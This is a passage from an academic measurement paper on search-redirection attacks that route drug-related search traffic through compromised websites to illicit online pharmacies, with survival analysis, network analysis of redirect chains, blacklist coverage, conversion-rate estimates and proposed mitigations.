For unpopular queries (< 100 global monthly searches),
13 health URIs appear. But for queries with more than
100 000 results, the number of results falls by more than
half to 6. For illicit pharmacies, the trends are opposite.
On less popular terms, the pharmacies appear less of-
ten (24 times on average). For the most popular terms,
by contrast, 54 URIs point directly to illicit pharmacies.
Taken together, these results suggest that the more so-
phisticated miscreants do a good job of targeting their
websites to high-impact results.

4 Empirical analysis of search-redirection
attacks

We now focus our attention on the structure and dynam-
ics of search-redirection attacks themselves. We present
evidence that certain types of websites are disproportion-
ately targeted for compromise, that a few such websites
appear most prominently in the search results, and that
the chains of redirections from source infections to phar-
macies betray a few clusters of concentrated criminality.

4.1 Concentration in search-redirection at-
tack sources

We identified 7 298 source websites from both data sets
that had been infected to take part in search-redirection
attacks – 4 652 websites in the primary 6-month data set
and 3 686 in the 10-week follow-up study. (1 130 sites
are present in both datasets.) We now define a measure
of the relative impact of these infected websites in order
to better understand how they are used by attackers.

I(domain) =
∑

q∈queries

∑

d∈days

uqd ∗ 0.5
rqd−1

10

where

uqd : 1 if domain in results of query q on
day d & actively redirects to pharmacy

uqd : 0 otherwise
rqd : domain’s position (1..64) in search results
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Figure 3: Rank-order CDF of domain impact reveals
high concentration in search-redirection attacks.

.com .org .edu .net other

% global Internet 45% 4% < 3% 6% 42%
% infected sources 55% 16% 6% 6% 17%
% inf. source impact 30% 24% 35% 2% 10%

Table 2: TLD breakdown of source infections.

The goal of the impact measure I is to distill the many
observations of an infected domain into a comparable
scalar value. Essentially, we add up the number of times
a domain appears, while compensating for the relative
ranking of the search results. Intuitively, when a domain
appears as the top result it is much more likely to be uti-
lized than if it appeared on page four of the results. The
heuristic we use normalizes the top result to 1, and dis-
counts the weighting by half as the position drops by 10.
This corresponds to regarding results appearing on page
one as twice as valuable as those on page two, which are
twice as valuable as those on page three, and so on.

Some infected domains appeared in the search results
much more frequently and in more prominent positions
than others. The domain with the greatest impact –
unm.edu – accounted for 2% of the total impact of all
infected domains. Figure 3 plots using a logarithmic x-
axis the ordered distribution of the impact measure I for
source domains. The top 1% of source domains account
for 32% of all impact, while the top 10% account for
81% of impact. This indicates that a small, concentrated
number of infected websites account for most of the most
visible redirections to online pharmacies.

We also examined how the prevalence and impact of
source infections varied according to top-level domain
(TLD). The top row in Table 2 shows the relative preva-
lence of different TLDs on the Internet [46]. The sec-
ond row shows the occurrence of infections by TLD.
The most affected TLD, with 55% of infected results,
is .com, followed by .org (16%), .edu (6%) and
.net(6%). These four TLDs account for 83% of all
infections, with the remaining 17% spread across 159
TLDs. We also observed 25 infected .gov websites and
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22 governmental websites from other countries.
One striking conclusion from comparing these figures

is how more ‘reputable’ domains, such as .com (55%
of infections vs. 45% of registrations), .org (16% vs.
4%) and .edu (6% vs. < 3%), are infected than others.
This is in contrast to other research, which has identified
country-specific TLDs as sources of greater risk [26].

Furthermore, some TLDs are used more frequently in
search-redirection attacks than others. While .edu do-
mains constitute only 6% of source infections, they ac-
count for 35% of aggregate impact through redirections
to pharmacy websites. Domains in .com, by contrast,
account for more than half of all source domains but 30%
of all impact. We next explore how infection durations
vary across domains, in part with respect to TLD.

4.2 Variation in source infection lifetimes
One natural question when measuring the dynamics of
attack and defense is how long infections persist. We de-
fine the “lifetime” of a source infection as the number of
days between the first and last appearance of the domain
in the search results while the domain is actively redi-
recting to pharmacies. Lifetime is a standard metric in
the empirical security literature, even if the precise def-
initions vary by the attacks under study. For example,
Moore and Clayton [27] observed that phishing websites
have a median lifetime of 20 hours, while Nazario and
Holz [32] found that domains used in fast-flux botnets
have a mean lifetime of 18.5 days.

Calculating the lifetime of infected websites is not en-
tirely straightforward, however. First, because we are
tracking only the results of 218 search terms, we count
as “death” whenever an infected website disappears from
the results or stops redirecting, even if it remains in-
fected. This is because we consider the harm to be mini-
mized if the search engine detects manipulation and sup-
presses the infected results algorithmically. However, to
the extent that our search sample is incomplete, we may
be overly conservative in claiming a website is no longer
infected when it has only disappeared from our results.

The second subtlety in measuring lifetimes is that
many websites remain infected at the end our study, mak-
ing it impossible to observe when these infections are
remediated. Fortunately, this is a standard problem in
statistics and can be solved using survival analysis. Web-
sites that remain infected and in the search results at the
end of our study are said to be right-censored. 1 368 of
the 4 652 infected domains (29%) are right-censored.

The survival function S(t) measures the probability
that the infection’s lifetime is greater than time t. The
survival function is similar to a complementary cumu-
lative distribution function, except that the probabilities
must be estimated by taking censored data points into ac-
count. We use the standard Kaplan-Meier estimator [23]

to calculate the survival function for infection lifetimes,
as indicated by the solid black line in the graphs of Fig-
ure 4. The median lifetime of infected websites is 47
days; this can be seen in the graph by observing where
S(t) = 0.5. Also noteworthy is that at the maximum
time t = 192, S(t) = 0.160. Empirical survival estima-
tors such as Kaplan-Meier do not extrapolate the survival
distribution beyond the longest observed lifetime, which
is 192 days in our sample. What we can discern from the
data, nonetheless, is that 16% of infected domains were
in the search results throughout the sample period, from
April to October. Thus, we know that a significant mi-
nority of websites have remained infected for at least six
months. Given how hard it is for webmasters to detect
compromise, we expect that many of these long-lived in-
fections have actually persisted far longer.

We next examine the characteristics of infected web-
sites that could lead to longer or shorter lifetimes. One
possible source of variation to consider is the TLD. Fig-
ure 4 (left) also includes survival function estimates for
each of the four major TLDs, plus all others. Survival
functions to the right of the primary black survival graph
(e.g., .edu) have consistently longer lifetimes, while
plots to the left (e.g., other and .net) have consistently
shorter lifetimes. Infections on .com and .org appear
slightly longer than average, but fall within the 95% con-
fidence interval of the overall survival function.

The median infection duration of .edu websites is
113 days, with 33% of .edu domains remaining in-
fected throughout the 192-day sample period. By con-
trast, the less popular TLDs taken together have a median
lifetime of just 28 days.

Another factor beyond TLD is also likely at play: the
relative reputation of domains. Web domains with higher
PageRank are naturally more likely to appear at the top
of search results, and so are more likely to persist in the
results. Indeed, we observe this in Figure 4 (center). In-
fected websites with PageRank 7 or higher have a me-
dian lifetime of 153 days, compared to just 17 days for
infections on websites with PageRank 0.

One might expect that .edu domains would tend to
have higher PageRanks, and so it is natural to wonder
whether these graphs indicate the same effect, or two dis-
tinct effects. To disentangle the effects of different web-
site characteristics on lifetime, we use a Cox proportional
hazard model [10] of the form:

h(t) = exp(α+ PageRankx1 + TLDx2)

Note that the dependent variable included in the Cox
model is the hazard function h(t). The hazard function
h(t) expresses the instantaneous risk of death at time t.
Cox proportional hazard models are used on survival data
in preference to standard regression models, but the aim

7
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Cox-proportional hazard model
h(t) = exp(α+ PageRankx1 + TLDx2)

coef. exp(coef.) Std. Err.) Significance
PageRank −0.085 0.92 0.0098 p < 0.001
.edu −0.26 0.77 0.086 p < 0.001
.net 0.08 1.1 0.084
.org 0.055 1.0 0.054
other TLDs 0.34 1.4 0.053 p < 0.001

log-rank test: Q=158, p < 0.001

Figure 4: Survival analysis of search-redirection attacks shows that TLD and PageRank influence infection lifetimes.

is the same as for regression: to measure the effect of dif-
ferent independent factors (in our case, TLD and PageR-
ank) on a dependent variable (in our case, infection life-
time). PageRank is included as a numerical variable val-
ued from 0 to 9, while TLD is encoded as a five-part
categorical variable using deviation coding. (Deviation
coding is used to measure each categories’ deviation in
lifetime from the overall mean value, rather than devia-
tions across categories.) The results are presented in the
table in Figure 4. PageRank is significantly correlated
with lifetimes – lower PageRank matches shorter life-
times while higher PageRank is associated with longer
lifetimes. Separately, .edu domains are correlated with
longer lifetimes and other TLDs to shorter lifetimes.

Coefficients in Cox models cannot be interpreted quite
as easily as in standard linear regression; exponents
(column 3 in the table) offer the clearest interpretation.
exp(PageRank) = 0.92 indicates that each one-point in-
crease in the site’s PageRank decreases the hazard rate
by 8%. Decreases in the hazard leads to longer lifetimes.
Meanwhile, exp(.edu) = 0.77 indicates that the pres-
ence of a .edu domain, holding the PageRank constant,
decreases the hazard rate by 23%. In contrast, the pres-
ence of any TLD besides .com, .edu, .net and .org
increases the hazard rate by 40%.

Therefore, we can conclude from the model that both
PageRank and TLD matter. Even lower-ranked univer-
sity websites and high-rank non-university websites are
being effectively targeted by attackers redirected traffic
to pharmacy websites.

4.3 Characterizing the online pharmacy
network

We now extend consideration beyond the websites di-
rectly appearing in search results to the intermediate and
destination websites where traffic is driven in search-
redirection attacks. We use the data to identify connec-
tions between a priori unrelated online pharmacies.

We construct a directed graph G = (V,E) as fol-

lows. We gather all URIs in our database that are
part of a redirection chain (source infection, redirec-
tor, online pharmacy) and assign each second-level do-
main to a node v ∈ V . We then create edges between
nodes whenever domains redirect to each other. Sup-
pose for instance that http://www.example.com/
blog is infected and redirects to http://1337.
attacker.test which in turns redirects to http:
//www32.cheaprx4u.test. We then create three
nodes v1 = example.com, v2 = attacker.test
and v3 = cheaprx4u.test, and two edges, v1 → v2
and v2 → v3. Now, if http://hax0r.attacker.
test is also present in the database, and redirects
to http://www.otherrx.test, we create a node
v4 = otherrx.test and establish an edge v2 → v4.

In the graph G so built, online pharmacies are usually
leaf nodes with a positive in-degree and out-degree zero.4

Compromised websites feeding traffic to pharmacies are
generally represented as sources, with an in-degree of
zero and a positive out-degree. Traffic redirectors, which
act as intermediaries between compromised websites and
online pharmacies have positive in- and out-degrees.

The resulting graph G for our entire database con-
sists of 34 connected subgraphs containing more than
two nodes. The largest connected component G0 con-
tains 96% of all infected domains, 90% of the redirection
domains and 92% of the pharmacy domains collected
throughout the six-month collection period.

In other words, we have evidence that most online
pharmacies are connected by redirection chains. While
this does not necessarily indicate that a single criminal
organization is behind the entire online pharmacy net-
work, this does tell us that most illicit online pharmacies
in our measurements are obtaining traffic from a large
interconnected network of advertising affiliates. Under-
cover investigations have confirmed the existence of such
affiliate networks and provided anecdotal evidence on

4Manually checking the data, we find a few pharmacies have an
out-degree of 1, and redirect to other pharmacies.

8
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(a) Structure of the giant component G0 that links
96% of infected domains. Links between vertices are
based on observed traffic redirection chains. Vertices
are colored according to their community.
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Figure 5: Network analysis of redirection chains reveals community structure in search-redirection attacks.

their operations [44], but they have not precisely quanti-
fied their influence. These affiliate networks consist of a
loosely organized set of independent advertising entities
that feed traffic to their customers (e.g., online retailers)
in exchange for a commission on any resulting sales.

Communities and affiliated campaigns. To uncover af-
filiate networks, we locate communities within G0, i.e.,
sets of vertices closely interconnected with each other
and only loosely connected to the rest of the graph. Here,
each community represents a set of domains in close re-
lationship with each other, possibly part of the same busi-
ness operation, or in the same manipulation campaigns.
Several algorithms have recently been proposed for com-
munity detection, e.g., [36,41,43]. We use the spin-glass
model proposed by Reichardt and Bornhold [43] (with
q = 500, γ = 1) because its stochastic nature allows it
to complete quickly even on large graphs like ours, and
because it works on directed graphs.

In Figure 5(a), we plot a visual representation of G0.
Different colors denote different communities. The com-
munity detection algorithm identifies a total of 73 distinct
communities. Most larger communities can be observed
in the dense clusters of nodes in the center of the fig-
ure, and it appears that less than a dozen of communi-
ties play a significant role. More precisely, we plot in
Figure 5(b) the cumulative fraction of nodes in G0 as a
function of the number of communities considered. The
graph shows that the seven largest communities account
for more than half of the nodes in the graph, and that
about two thirds of the nodes belong to one of the top
twelve communities. In other words, a relatively small
number of loosely interconnected, possibly distinct, op-
erations is responsible for most attacks.

Manual inspection confirms these insights. For in-
stance, the third largest community (400 nodes) consists
of compromised hosts primarily sending traffic to a sin-
gle redirector, which itself redirects to a single pharmacy
(securetabs.net).

Figure 5(c) is a scatter-plot of the in- and out-degree
of each node in G0. A vast majority of nodes are source
infections (null in-degree, high out-degree, i.e., points
along the y-axis) or pharmacies (low out-degree, high in-
degree, i.e., along the x-axis). Redirectors, with non-zero
in- and out- degrees are comparatively rare. We identify
314 redirectors in G0, out of which only 127 have both
an in- and an out-degree greater than two. 103 of these
127 redirectors (80%) are cut vertices for G0. That is, re-
moving any of these 103 redirectors would partition G0.
We will discuss these interesting properties in further de-
tails in Section 6, where we detail the possible remedial
strategies against the search-redirection attacks.

4.4 Attack websites in blacklists
The websites we have identified here have either been
compromised (in the case of source infections) or have
taken advantage of compromised servers (in the case
of redirects and pharmacies). Given such insalubrious
circumstances, we wondered if any of the third party
blacklists dedicated to identifying Internet wickedness
might also have noticed these same websites. To that
end, we consulted three different sources: Google’s Safe
Browsing API, which identifies web-based malware; the
zen.spamhaus.org blacklist, which identifies email
spam senders; and McAfee SiteAdvisor, which tests
websites for “spyware, spam and scams”.

Figure 6 plots sets of Venn diagrams of the three black-
lists for each class of attack domain. Several trends are
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Figure 6: Comparing web and email blacklists.

Mean Median % Searches> 0 Total
Main 14 388 1600 73% 2 374 085
FDA drugs 74 0 6% 323 104
Extra queries 46 380 1 300 59% 32 652 121

Total 6 771 0 20% 35 343 610

Table 3: Monthly search query popularity according to
the Google Adwords Traffic Estimator.
apparent from inspecting the diagrams. First, source in-
fections are not widely reported by any of the blacklists
(95% do not appear on a single blacklist), but around half
of the redirects are found on at least one blacklist and
over two thirds of pharmacy websites show up on at least
one blacklist. Surprisingly, 12% of redirects appear on
the email spam blacklist, as well as 24% of pharmacies.
We speculate that this could be caused by affiliates adver-
tising pharmacy domains in email spam, but it could also
be that the pharmacies directly send email spam adver-
tisements or use botnets for both hosting and spamming.

The level of coverage of Google and SiteAdvisor are
comparable, which is somewhat surprising given SiteAd-
visor’s relatively broader remit to flag scams, not only
malware. Google’s more comprehensive coverage of
pharmacy websites in particular suggests that some phar-
macies may also engage in distributing malware. We
conclude by noting that the majority of websites affected
by the traffic redirection scam are not identified by any of
these blacklists. This in turn suggests that relatively lit-
tle pressure is currently being applied to the miscreants
carrying out the attacks.

5 Towards a conversion rate estimate
While it is difficult to measure precisely as an outsider,
we nonetheless would like to provide a ballpark figure
for how lucrative web search is to the illicit online pre-
scription drug trade. Here we measure two aspects of the
demand side: search-query popularity and sales traffic.

For the first category, we once again turn to the Google
Traffic Estimator to better understand how many peo-
ple use online pharmacies advertised though search-
redirection attacks. Table 3 lists the results for each of
the three search query corpora described in Section 2.2
and Appendix A. The main and extra queries attract the
most visitors, with a median of 1 600 monthly searches
for the main sample and 1 300 for the extra queries. Sev-
eral highly popular terms appeared in the results: “vi-
agra” and “pharmacy” each attract 6 million monthly
searches, while “cialis” and “phentermine” appear in
around 3 million each. By contrast, only 6% of the search
queries in the FDA sample registered with the Google
tool. The FDA query list includes around 6 500 terms,
which dwarfs the size of the other lists. Since over 90%
of the FDA queries are estimated to have no monthly
searches, the overal median popularity is also zero.

While these search terms do not cover all possible
queries, taken together they do represent a useful lower
bound on the global monthly searches for drugs. To
translate the aggregate search count into visits to phar-
macies facilitated by search-redirection attacks, we as-
sume that the share of visits websites receive is pro-
portional to the number of URIs that turn up in the
search results. Given that 38% of the search results we
found pointed to infected websites, we might expect that
the monthly share of visits to these sites facilitated by
Google searches to be around 13 million. Google re-
portedly has a 64.4% market share in search [13]. Con-
sequently we expect that the traffic arriving from other
search engines to be 1−0.644

0.644 ∗ 13 million = 7 million.
We manually visited 150 pharmacy websites identified

in our study and added drugs to shopping carts to observe
the beginning of the payment process. We found that 94
of these websites in fact pointed to one of 21 different
payment processing websites. These websites typically
had valid SSL certificates signed by trusted authorities,
which helps explain why multiple pharmacy storefronts
may want to share the same payment processing website.

The fact that these websites are only used for payment
processing means that if we could measure the traffic to
these websites, then we could roughly approximate how
many people actually purchase drugs from these pharma-
cies. Fortunately for us, these websites receive enough
traffic to be monitored by services such as Alexa. We
tallied Alexa’s estimated daily visits for each of these
websites; in total, they receive 855 000 monthly visits.

We next checked whether these payment websites also
offered payment processing other than just for pharmacy
websites. To check this, we fetched 1 000 backlinks for
each of the sites from Yahoo Site Explorer [6]. Col-
lectively, 1 561 domains linked in to the payment web-
sites. From URI naming and manual inspection, we de-
termined that at least 1 181 of the backlink domains, or
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75%, are online pharmacies. This suggests that the pri-
mary purpose of these websites is to process payments
for online pharmacies.

Taken together, we can use all the information dis-
cussed above to provide a lower bound on the sales con-
version rate of pharmacy web search traffic:

Conversion ≈ 0.75× 855 000

20 000 000
= 3.2% .

To ensure that the estimate is a lower bound for the
true conversion rate, whenever there is uncertainty over
the correct figures, we select smaller estimates for fac-
tors in the numerator and larger estimates for factors in
the denominator. For example, it is possible that the esti-
mate of visits to payment sites is too small, since pharma-
cies could use more than the 21 websites we identified to
process payments. A more accurate estimate here would
strictly increase the conversion rate. Similarly, 20 mil-
lion visits to search-redirection websites may be an over-
estimate, if, for instance, more popular search queries
suffer from fewer search-redirection attacks. Reducing
this estimate would increase the conversion rate since the
figure is in the denominator.

There is likely one slight overestimate present in the
numerator. It is not certain that every single visitor to a
payment processing site eventually concluded the trans-
action. However, because these sites are only used to
process payments, we can legitimately assume that most
visitors ended up purchasing products. Even with a con-
servative assumption that only 1 in 10 visitors to the pay-
ment processing site actually complete a transaction, the
lower bound on the conversion rates we would obtain (in
the order of 0.3%) far exceeds the conversion rates ob-
served for email spam [22] or social-network spam [17].

While email spam has attracted more attention, our
research suggests that more illicit pharmacy purchases
are facilitated by search-redirection attacks than by email
spam. One study estimated that the entire Storm bot-
net (which accounted for between 20-30% of email
spam at its peak [12, 37]) attracted around 2 100 sales
per month [22]. The payment processing websites tied
to search-redirection attacks collectively process many
hundreds of thousands of monthly sales. Even allowing
for the possibility that these websites may also process
payments for pharmacies advertised through email spam,
the bulk of sales are likely dominated by referrals from
web search. This is not surprising, given that most peo-
ple find it more natural to turn to their search engine of
choice than to their spam folder when shopping online.
To those who aim to reduce unauthorized pharmaceutical
sales, the implication is clear: more emphasis on combat-
ing transactions facilitated by web search is warranted.

6 Mitigation strategies
The measurements we gathered lead us to consider three
complementary mitigation strategies to reduce the im-
pact of search-redirection attacks. One can target the in-
fected sources, advocate search-engine intervention, or
try to disrupt the affiliate networks.

Remediation at the sources. The existing public-private
partnership initiated by the White House [19] has so
far focused on areas other than search-redirection at-
tacks. Domain name registrars (led by GoDaddy) can
shut down maliciously registered domains, while Google
has focused on blocking advertisements (but not neces-
sarily search results) from unauthorized pharmacies. Un-
fortunately, no single entity speaks for the many web-
masters whose sites have unknowingly been recruited to
drive traffic to illicit pharmacies.

Nonetheless, eradicating source infections at key web-
sites could be effective. As shown in Figure 3, a small
number of source infections repeatedly appear towards
the top of the search results. Remediating only the most
frequently-occurring websites could substantially reduce
sales. Furthermore, attackers would likely struggle to
adapt to the heightened enforcement. Placing websites
at high-ranking search positions through search-engine
optimization is a slow process, given that the search en-
gine controls the rankings-update cycle. Second, high-
ranking websites that can permeate the top levels of
search results are fairly scarce resources, so that any co-
ordinated reduction is likely to be painful for pharmacies.

How might an enforcement agent select which web-
sites to target for remediation? Again, our findings are
informative. The survival analysis in Section 4.2 indi-
cates that websites with high PageRank or .edu TLDs
are more persistent. A simple heuristic, then, would be
for an agent to run a few search queries for drug terms
and try to clean up any .edu or high-ranking website
that appears in multiple results.

Search-engine intervention. In the absence of direct
law enforcement involvement in remediating source in-
fections, search engines could play a more active role in
detecting search-redirection attacks and blocking them
from search results. Google already blocks websites that
are known to be distributing malware [40], and recently
began including warnings on websites believed to be
compromised. From anecdotal inspection, several source
websites participating in search-redirection attacks now
carry the warning. Users are still free to visit the compro-
mised website, however, so those seeking to buy drugs
without a prescription may still find willing sellers. We
encourage search engines to consider dropping such re-
sults altogether, given the illegal activity that is being di-
rectly facilitated.
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Disrupting the redirection network. The high degree
of interconnection of the different sites we observed in
Section 4 suggests that monetary profits come from fun-
neling traffic between different affiliates. One can thus
conjecture that disrupting the connectivity of the net-
work we observed would have adverse economic conse-
quences for the miscreants. Can this be easily achieved?

As described in Section 4, while the network of phar-
macies, sources, and redirectors is almost completely in-
terconnected, there is a comparatively small number of
nodes in the network that redirect traffic from one host
to the next and play a central role in the drug trade.
Specifically, taking down any of 103 redirectors would
break up the large network of affiliates we observed, and
could have strong disruptive effects on the profits made
by advertisers. Of course, we would expect attackers
to quickly move redirectors to different hosts after take-
downs — and in fact, have, over the long measurement
interval we consider, evidence that this sometimes hap-
pens. Nevertheless, the currently long lifetime of redirec-
tors indicates that defenders could act more forcefully.

Perhaps even more interestingly, we were able to find
BGP Autonomous System (AS) information for 84 of
the 127 redirectors with in- and out-degrees greater than
two;5 of these, 53 (or 63%) belong to one of only 11 dis-
tinct ASes.6 In other words, a very limited number of
infrastructure providers appear to play an important role
in the illicit online drug trade. Likewise, we were able
to identify domain name registrars for 73 of the redirec-
tor domains; 49 of these domains belong to one of only
5 registrars (ENOM and GoDaddy, which is expected
given their market share, but also “A to Z Domains Solu-
tions,” “BizCN,” and “Directi Internet Solutions,” which
are far more represented in this sample than their market
share would warrant).

Determining whether these hosting providers and reg-
istrars are willing participants or simply have lax host-
ing practices is beyond the scope of our investigation.
However, by strengthening their controls, these service
providers could probably make it harder to operate redi-
rectors, thereby yielding tangible benefits in combating
illicit online drug trade. Should these registrars and
hosting providers take action, we would certainly expect
the miscreants to adapt, and move to different providers
(e.g., bulletproof hosting); but, it is likely that these al-
ternative solutions would be more financially costly than
what is currently used, which in turn would reduce the
profit margins miscreants enjoy. In the end, making il-
licit online commerce an unattractive economic proposi-

5The remaining 43 redirectors had gone offline when we ran this
experiment in February 2011.

6Many nodes in a given community are hosted on the same AS,
giving additional evidence that the community detection algorithm dis-
cussed in Section 4 is quite accurate.

tion could be the strongest deterrent to such activities.
In sum, any subset of source-infection remediation,

search-engine filtering, and redirector take-down would
make it more difficult for miscreants to conduct their
business. Combining these mitigations would likely
cause significant hardship to the criminal networks in
play and would help thwart the illicit online trade of phar-
maceutical drugs (and of other counterfeit goods).

7 Related work
The shift observed in the past decade, from Internet and
computer security attacks motivated by fame and reputa-
tion to attacks motivated by financial gain [30], has led
to a number of measurement studies that quantify vari-
ous aspects of the problem, and to motivate possible in-
tervention policies by quantitative analysis. Due to the
amount of network measurement literature available, we
focus here on work most closely related to this paper.

Many studies, e.g., [7, 22, 24, 50], have focused on
email spam, describing the magnitude of the problem in
terms of network resources being consumed, as well as
some of its salient characteristics. Two key take-away
points are that spam is a game of very large numbers,
and that it is not a very effective technique to adver-
tise products, as observed conversion rates (fraction of
email spam that eventually result in a sale) are small.
As pointed out earlier, spamming techniques are how-
ever evolving and increase their effectiveness by better
targeting potential customers, as described by the recent
flurry of spam observed in social networks [17].

A very recent paper by Levchenko et al. [24] provides
a thorough investigation of the different actors partici-
pating spamming campaigns, from the spammers them-
selves, to the suppliers of illicit goods (luxury items, soft-
ware, pharmaceutical drugs, ...). The key difference with
the present study is that Levchenko et al. are focusing
on businesses advertising by spam, while we are looking
into search-engine manipulation. The data we gathered
(see Section 4.4) seems to suggest that, so far, the two
sets of miscreants remain relatively disjoint, but that ad-
vertising based on search engine manipulation is on the
rise (see Section 3.3).

Measurement studies of spam have also informed pos-
sible intervention policies, by identifying some infras-
tructure weaknesses. For instance, taking down a few
servers from suspicious Internet Service Providers [9]
can significantly reduce the overall volume of email
spam. Infiltration of spam-generating botnets, as sug-
gested by [39], has also been shown to be effective in
designing much more accurate spam filtering rules.

A series of papers by Moore and Clayton [27, 29, 31]
investigates the economics of phishing, and show inter-
esting insights on the tactics phishers use to evade detec-
tion. A further outcome of this line of research is a set of
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recommended intervention techniques to combat phish-
ing, e.g., applying economic pressure on DNS registrars.
The present paper borrows some of the techniques (use
of Webalizer data, lifetime computation) used for phish-
ing measurements, as they apply as well to measurement
of online pharmacy activity (see Section 3).

A separate branch of research has focused on eco-
nomic implications of online crime. Thomas and Mar-
tin [45], Franklin et al. [16] and Zhuge et al. [51] pas-
sively monitor the advertised prices of illicit commodi-
ties exchanged in varied online environments (IRC chan-
nels and web forums). They estimate the size of the mar-
kets associated with the exchange of credit card num-
bers, identity information, email address databases, and
forged video game credentials. Christin et al. [8] mine
online forum data to assess the economic impact of a so-
cial engineering attack pervasive on Japanese-language
websites, and to identify some of the key characteristics
of the network of perpetrators behind these scams.

More closely related to the attack described here,
Ntoulas et al. [34] measure search engine manipulation
attacks, and Wang et al. [47] show the connection be-
tween web and email spam, and online advertisers.

The medical literature has been preoccupied with il-
licit online pharmacies for a few years, but has mostly
looked at smaller data samples, and has solely focused
on the retail side rather than the entire infrastructure sup-
porting this commerce. As examples, Henney et al. in-
vestigated the credentials of 37 online pharmacies [18].
Littlejohn et al. [25] focused on a slightly larger sample
of 275 websites, to primarily inform the socio-economic
impact of Internet availability on drug abuse. Likewise,
we are not the first to evidence the existence of adver-
tising affiliate networks, which have been previously de-
scribed informally (see, e.g., [44]).

We believe that the work presented in this paper is the
first to provide a detailed analysis of search-redirection
attacks, and to substantiate their use with a quantitative
analysis of the overall magnitude of the illicit online pre-
scription drug trade. Further, we obtain both an under-
standing of the structure of the miscreants’ networks, and
an idea of the conversion rates they can expect. In that
respect, our measurements may be a useful starting point
for a more thorough quantitative economic analysis.

8 Conclusions and future work
Given the enormous value of web search, it is no sur-
prise that miscreants have taken aim at manipulating its
results. We have presented evidence of systematic com-
promise of high-ranking websites that have been repro-
grammed to dynamically redirect to online pharmacies.
These search-redirection attacks are present in one third
of the search results we collected. The infections per-
sist for months, 96% of the infected hosts are connected

through redirections, and a few collections of redirec-
tors are critical to the connection between source infec-
tions and pharmacies. We have also observed that legit-
imate businesses are nearly absent from the search re-
sults, having been completely drawn out of the search
results by blog and forum spam and compromised web-
sites. We also offer a conservative estimate of between
0.3% and 3% conversion rate of searches for drugs turn-
ing into sales, which should motivate the pressing need
for countermeasures. Fortunately, we are optimistic that
the criminals behind search-redirection attacks could be
disrupted with targeted interventions due to the high con-
centrations we observed empirically.

In terms of immediate future work, there is nothing in-
herent to the search-redirection attack suggesting it only
applies to online pharmacies. Even though counterfeit
drugs are the most pressing issue to deal with due to their
inherent danger, other purveyors of black-market goods,
such as counterfeit software, or luxury goods replicas,
might also hire affiliates that manipulate search results
with infected websites for advertising purposes.

We ran a brief (12 days) pilot experiment to assess how
search-redirection attacks applied to counterfeit software
in October 2010. After collecting results from 466
queries, created using input from Google Adwords Key-
word Tool, we gathered 328 infected source domains,
72 redirect domains and 140 domains selling counter-
feit software. Using the same clustering techniques de-
scribed earlier in the paper, we discovered two connected
components dominating the network, each in its own
way: one component was responsible for 44% of the
identified infections, and the other was responsible for
30% of the software-selling sites.

We also observed a small but substantial (12.5%) over-
lap in the set of redirection domains with those used
for online pharmacies. Some redirection domains thus
provide generic traffic redirection services for different
types of illicit trade. However, the small overlap is also
a sign of fragmentation among the different fraudulent
trading activities. We have begun a longitudinal study
of all retail operations benefiting from search-redirection
attacks, in order to better understand the economic rela-
tionships between advertisers and resellers.

Systematic monitoring of web search results will
likely become more important due to the value miscre-
ants have already identified in manipulating outcomes.
Indeed, this paper has shown that understanding the
structure of the attackers’ networks gives defenders a
strong advantage when devising countermeasures.
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A Additional query-sample validation
We have collected two sets of additional search queries
to compare to our main corpus of 218 terms. First, we
have derived a query set from an exhaustive list of 9 000
prescription drugs provided by the US Food and Drugs
Administration [15]. We ran a single query in the form
of “no prescription [drug name]” and collected the first
64 results for each drug in the list. We executed the 9 000
queries over five days in August 2010. About 2 500 of
the queries returned no search results. Of the queries that
returned results, we observed redirection in at least one
of the search results for 4 350 terms.

For the second list, we inspected summaries of server
logs for 169 infected websites to identify drug-related
search terms that redirected to pharmacies. We obtained
this information from infected web servers running The
Webalizer,7 which creates monthly reports, based on
HTTP logs, of how many visitors a website receives, the
most popular pages on the website, and so forth. It is not
uncommon to leave these reports “world-readable” in a
standard location on the server, which means that anyone
can inspect their contents.

In August 2010, we checked 3 806 infected websites
for Webalizer, finding it accessible on 169 websites.
We recorded all available data – which usually included
monthly reports of activity up to and including the cur-
rent month. One of the individual sub-reports that We-
balizer creates is a list of search terms that have been
used to locate the site. Not all Webalizer reports list
referrer terms, but we found 83 websites that did in-
clude drug names in the referrer terms for one or more
months of the log reports. Since we identified the in-
fected servers running Webalizer by inspecting results of
the 218 queries from our main corpus, it is unsurpris-
ing that 98 of these terms appeared in the logs. However,
the logs also contained an additional 1 179 search queries
with drug terms. We use these additional search terms as
an extra queries list to compare against the main corpus.

We collected the top 64 results for the extra queries list
daily between October 20 and 31, 2010. When compar-
ing these results to our main query corpus, we examine
only the results obtained during this time period, result-
ing in a significantly smaller number of results than for
our complete nine-month collection.

We compare our main list to the additional lists in
three ways. First, we compare the classification of search
results for differences in the types of results obtained.
Second, we compare the distribution of TLD and PageR-
ank for source infections obtained for both samples.
Third, we compute the intersection between the domains
obtained by both sets of queries for source infections,
redirects and pharmacies.

7http://www.mrunix.net/webalizer/

FDA drug list Extra query list
Drug list Main list Extra list Main list

URIs dom. URIs dom. URIs dom. URIs dom.

Search result classification
Source infections 24.7 4.0 43.7 22.4 35.6 14.0 49.3 27.9
Health resources 12.7 7.4 2.8 3.5 4.9 4.2 2.4 3.0
Legit. pharm. 0.5 0.1 0.03 0.07 0.1 0.1 0.02 0.05
Illicit pharm. 6.7 6.9 8.2 13.6 6.1 11.6 6.5 12.0
Blog/forum spam 25.4 23.7 18.6 17.8 26.3 22.7 17.8 17.7
Uncategorized 30.1 57.9 26.7 42.7 27.2 46.9 24.0 39.4

Source infection TLD breakdown
.com 60.0 56.9 56.3 54.6
.org 13.8 17.0 15.4 18.0
.edu 5.6 8.9 6.2 9.3
.net 6.1 5.6 5.6 4.6
other 14.3 11.5 16.5 13.5

Source infection PageRank breakdown
PR 0 ≤ 3 47.2 35.0 47.5 41.9
PR 3 ≤ 6 41.4 51.3 44.2 46.3
PR ≥ 7 11.4 13.7 8.3 11.8

Table 4: Comparing different lists of search terms to the
main list used in the paper. All numbers are percentages.

Table 4 compares the FDA drugs and extra queries lists
to the main list. The breakdown of search results for both
samples is slightly different from what we obtained us-
ing the main queries. For instance, only 25% of the URIs
in the FDA results are infections, compared to 44% for
the main list during the same time period. 13% of the
results in the FDA drug list point to legitimate health re-
sources, compared to only 3% of the main sample. This
is not surprising, given that the drug list often included
many drugs that are not popular choices for sales by on-
line pharmacies. Illicit pharmacies appear slightly less
often in the drugs sample (6% vs. 8%), while blog and
forum spam is more prevalent (25% to 19%).

The extra queries list follows the FDA list in some
